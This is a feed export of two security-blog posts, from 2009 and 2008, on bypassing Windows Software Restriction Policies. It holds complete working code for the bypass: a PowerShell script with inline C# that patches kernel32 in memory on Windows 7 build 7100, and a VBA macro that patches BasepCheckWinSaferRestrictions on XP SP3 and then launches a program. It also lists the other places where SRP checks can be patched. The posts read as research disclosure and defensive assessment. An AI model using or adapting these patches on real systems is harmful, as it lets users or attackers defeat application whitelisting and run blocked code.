srp – Grey Panthers Savannah https://grey-panther.net Just another WordPress site Fri, 17 Jul 2009 13:30:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.9 206299117 Bypassing SRP from PowerShell https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html#comments Fri, 17 Jul 2009 13:30:00 +0000 https://grey-panther.net/?p=262 3692117840_8e53e98b8b_b When discussing with a reader of mine, I mentioned that the same method (patching the local process) should be possible using PowerShell. And here is the code:

#########################################################
#  This is a general purpose routine that I put into a file called
#   LibraryCodeGen.msh and then dot-source when I need it.
#########################################################
function Compile-Csharp ([string] $code, $FrameworkVersion="v2.0.50727", [Array]$References)
{
    #
    # Get an instance of the CSharp code provider
    #
    $cp = new-object Microsoft.CSharp.CSharpCodeProvider

    #
    # Build up a compiler params object...
    $framework = Join-Path $env:windir "Microsoft.NETFramework$FrameWorkVersion"
    $refs = new-object Collections.ArrayList
    $refs.AddRange( @("${framework}System.dll",
        "${framework}system.windows.forms.dll",
        "${framework}System.data.dll",
        "${framework}System.Drawing.dll",
        "${framework}System.Xml.dll"))
    if ($references.Count -ge 1)
    {
        $refs.AddRange($References)
    }

    $cpar = New-Object System.CodeDom.Compiler.CompilerParameters
    $cpar.GenerateInMemory = $true
    $cpar.CompilerOptions = "-unsafe"    
    $cpar.GenerateExecutable = $false
    $cpar.OutputAssembly = "custom"
    $cpar.ReferencedAssemblies.AddRange($refs)
    $cr = $cp.CompileAssemblyFromSource($cpar, $code)

    if ( $cr.Errors.Count)
    {
        $codeLines = $code.Split("`n");
        foreach ($ce in $cr.Errors)
        {
            write-host "Error: $($codeLines[$($ce.Line - 1)])"
            $ce |out-default
        }
        Throw "INVALID DATA: Errors encountered while compiling code"
    }
}

###########################################################################
#  Here I leverage one of my favorite features (here-strings) to define
# the C# code I want to run.  Remember - if you use single quotes - the
# string is taken literally but if you use double-quotes, we'll do variable
# expansion.  This can be VERY useful.
###########################################################################
$code = @'
using System;
using System.Runtime.InteropServices;

namespace test
{
    public class Testclass
    {
        public enum Protection
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(uint lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll")]
        public static extern uint GetModuleHandle(string lpModuleName);

        public static void Patch()
        {
            uint addr = GetModuleHandle("kernel32.dll") + 0x55FD7;
            byte[] expected = new byte[] {0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x84, 0x02, 0x00, 0x00};
            unsafe
            {
                byte* mem = (byte*)addr;
                for (int i = 0; i < expected.Length; ++i)
                {
                    if (mem[i] != expected[i])
                    {
                        System.Console.WriteLine("Expected bytes not found!");
                        return;
                    }
                }

	            uint oldProtect;                
                VirtualProtect(addr, 11, (uint)Protection.PAGE_EXECUTE_WRITECOPY, out oldProtect);
                byte[] patch = new byte[] {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x0C, 0x00, 0x90, 0x90, 0x90};
                for (int i = 0; i < patch.Length; ++i) mem[i] = patch[i];
                VirtualProtect(addr, 11, oldProtect,  out oldProtect);
            }
        }
    }
}
'@

##################################################################
# So now we compile the code and use .NET object access to run it.
##################################################################
compile-CSharp $code
[Test.TestClass]::Patch()

After executing this script, you can run any executable, even if it would have been restricted by the SRP. Some mentions:

  • It is technically written in C#, which is dynamically compiled (the code to do it is taken from here, with a modification from here to allow compiling of unsafe code)
  • The offsets and bytes are for Windows 7 build 7100, so it most probably won’t work with other versions of Windows (and it is possible that it won’t work with other builds), however it is trivial to port it to other versions
  • Because Windows 7 (like Vista) changes the loading address at each reboot (ASLR), the actual patch address needs to be calculated relative to the base address of kernel32 (obtained via GetModuleHandle)

Picture taken from permanently scatterbrained’s photostream with permission.

]]>
https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html/feed 4 262
Limitations of Software Restriction Policies https://grey-panther.net/2008/10/limitations-of-software-restriction-policies.html https://grey-panther.net/2008/10/limitations-of-software-restriction-policies.html#comments Tue, 28 Oct 2008 11:42:00 +0000 https://grey-panther.net/?p=618 Update: ok, SRP is even more broken than I thought. As one of the readers pointed out (thank you Anonymous!), there is a built-in (albeit only partially documented) option on runas which circumvents SRP.

For some time now there has been a friendly back-and-forth between Didier Stevens and myself with regards to the topic of Software Restrictions Policies:

  • I’ve written a post recommending SRP (Software Restriction Policies as a solution to seecure computers
  • Based on some research done by Mark Russinovich Didier came up with a different (easier to implement) method to circumvent SRP. The gist of the matter is that the checking of SRP is done in user mode in the process which issued the CreateProcess/LoadLibrary call. This means that the current process can patch itself so that SRP isn’t correctly verified. Mark did this by intercepting reads to the Registry (where SRP policies are stored) and returning fake results, Didier did this by searching the registry key names and replacing them with bogus ones (so registry reads would fail).
  • After this Didier took the whole thing in a different direction (and I want to credit him for coming up with the idea), and researching the question “what is executable code”? Remember that the first immutable rule of security is “If a bad guy can persuade you to run his program (code) on your computer, it’s not your computer anymore”. So he compiled the executable in a DLL and used VBA (Visual Basic for Applications – the macro language for Word/Excel/etc) to drop the file on the filesystem and load (execute it). The point was that even if the attacker didn’t give you a classic “executable”, you’d still run code for him.

    This is bad, very bad, because it just means that the notion “executable code” got expanded to include all file formats which include a macro language. This means HTML, all the Office document formats, Corel products, Autodesk products, etc (to get some idea of the products check out the Visual Basic for Applications Licensing Partners site – and these are just the ones who use VBA – Autodesk for example uses some Lisp variant AFAIK). Some of these programs include facilities to disable execution of macros, but other may not. Even the ones which include such features, probably they are not configured the safest way (deny all) by default. Very bad.

  • The previous method still got blocked by the configuration described by me, however it pointed the way towards the next step: patching the executable entirely from VBA, without using external components. Alternatively you can write location independent code and launch it inside of the process.

So what remains there to be said? In what follows I will give two alternatives to bypass SRP and summarize the possible attack points against it. I will update my original article with a pointer so that people will have a more clear picture of the situation.

Alternative bypass 1: patching the routine which does the actual checking. Given that this is in-process, we don’t need any special privileges to do it. The hardcoded address is for my system (Windows XP SP3), so for this to work reliably on all versions of Windows, a more elaborate way of determining the procedure address is needed (however this is not very hard to implement).

Const SW_SHOW = 5
Const PAGE_EXECUTE_WRITECOPY = &H80

Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Declare Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Sub TestSRP()
    '$7C819805h
    Dim mem(11) As Byte
    Dim memAddr As Long
    Dim functionAddr As Long
    Dim oldProtect As Long
    
    functionAddr = &H7C819805
    memAddr = VarPtr(mem(0))
    Call CopyMemory(ByVal memAddr, ByVal functionAddr, 11)
    
    '8B FF              mov     edi, edi
    '55                 push    ebp
    '8B EC              mov     ebp, esp
    '81 EC D8 01 00 00  sub     esp, 1D8h
    If &H8B = mem(0) And &HFF = mem(1) And &H55 = mem(2) And &H8B = mem(3) And &HEC = mem(4) _
        And &H81 = mem(5) And &HEC = mem(6) And &HD8 = mem(7) And &H1 = mem(8) _
        And &H0 = mem(9) And &H0 = mem(10) Then
        
        Call VirtualProtect(ByVal functionAddr, 11, PAGE_EXECUTE_WRITECOPY, oldProtect)
        'B8 00 00 00 00 mov eax, 0
        'C2 18 00       ret 18h
        '90 90 90       nop nop nop
        mem(0) = &HB8: mem(1) = &H0: mem(2) = &H0: mem(3) = &H0: mem(4) = &H0: mem(5) = &HC2
        mem(6) = &H18: mem(7) = &H0: mem(8) = &H90: mem(9) = &H90: mem(10) = &H90
        Call CopyMemory(ByVal functionAddr, ByVal memAddr, 11)
        Call VirtualProtect(ByVal functionAddr, 11, oldProtect, oldProtect)
    Else
        MsgBox "Signature not found!"
    End If
    
    Call ShellExecute(0, "open", "e:logsnotepad.exe", "", "", SW_SHOW)
End Sub

The code patches the routine “BasepCheckWinSaferRestrictions” from kernel32.dll, the one used to verify SRP restrictions when calling the CreateProcess* family of functions (apparently Microsoft refers to SRP as “Safer”), to always return 0 (which means allowed).

Actually the Windows Internals book (which is a great resource if you are interested in doing any low-level work) states (in chapter 8 – security) that the enforcement of SRP is done in different locations depending on the action you are trying to perform:

  • If you are trying to launch a process via CreateProcess*, it is done in kernel32.dll
  • If you are trying to load a DLL, it is done in ntdll.dll (in the undocumented function “LdrpCodeAuthzCheckDllAllowed”)
  • If you are trying to run a batch file, it is done by cmd.exe
  • If you are trying to run a script, it is done in cscript.exe (for command-line scripts), in wscript.exe (for UI scripts) or in scrobj.dll (for script objects – I assume this means for applications embedding the WSH)

This means that other patches need to be performed, based on the situation at hand.

Alternative bypass 2: I found this document in the Google Cache suggesting to use NtCreateProcess, which is a step down from CreateProcess*, and it assumes that the checks for SRP have already been performed. Reading the disassembly of kernel32.dll/ntdll.dll I concluded that this method would certainly work, however I didn’t write code for it, because it would have needed to import a ton of undocumented API’s. If somebody is interested, a good starting point would be the ReactOS implementation of CreateProcessInternalW.

The advantage of this code is that it is very portable across Windows versions and it is very easy to implement. In fact it is portable between programs! I found that OpenOffice 2.4 and later has a BASIC implementation which sufficiently close to the one use by Winword so that one can write portable macros!

Conclusions about SRP:

Software Restrictions Policies provide a much lower assurance than I previously assumed. They can be easily bypassed by users, even with the lowest privilege level.

The bypass can be performed directly from x86 code (for example by exploiting a running process and executing shellcode in it) or from scripting languages which offer access to the Win32 API (such as the MS Office macros).

However SRP still provides a strong protection against non-targeted attacks. This is because 99.9999% of the attackers aren’t expecting for it to be activated or necessarily know how to circumvent it. This is security by diversity. It is not 100% conceptually correct, however in practice it works very good.

]]>
https://grey-panther.net/2008/10/limitations-of-software-restriction-policies.html/feed 10 618